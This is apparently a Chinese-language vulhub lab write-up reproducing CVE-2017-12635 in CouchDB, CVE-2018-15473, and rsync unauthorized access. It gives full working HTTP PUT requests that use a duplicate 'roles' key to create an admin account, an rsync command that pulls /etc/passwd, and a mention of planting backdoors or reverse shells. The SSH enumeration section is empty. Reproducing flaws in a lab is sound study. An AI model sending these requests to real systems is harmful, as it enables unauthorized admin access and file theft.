CVE-2017-12635，CVE-2018-15473，rsync 未授权访问漏洞复现

CVE-2017-12635复现

环境说明：

Apache CouchDB:是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查间语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo,用在其社交平台(web和应用程序)

---

docker-compose build
docker compose up -d

开启靶场环境，访问：http://192.168.217.141:5984/_utils

这里直接抓包，通过抓包获取到响应

这里直接按照给的对应响应包直接发送

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
“type”: “user”,
“name”: “vulhub”,
“roles”: [“_admin”],
“password”: “vulhub”
}

• 回显为403，{“error”:“forbidden”,“reason”:“Only _admin may set roles”}，只有管理员才能设置Role角色：

• 继续发送两个数据包，

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
“type”: “user”,
“name”: “vulhub”,
“roles”: [“_admin”],
“roles”: [],
“password”: “vulhub”
}

• 这里回显200成功

这里是创建管理员，账户密码均为vulhub
有了管理员，那么就直接尝试登录

成功登录，复现完成

---

CVE-2018-15473复现

用户名枚举

---

---

rsync 未授权访问漏洞

环境说明：

rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配置ACL或访问密码，我们将可以读写目标服务器文件。

复现：

• 启动环境，直接rsync连接：

• 下载文件：rsync -av rsync://your-ip:873/src/etc/passwd ./
• 也可以执行文件，写入后门，反弹shell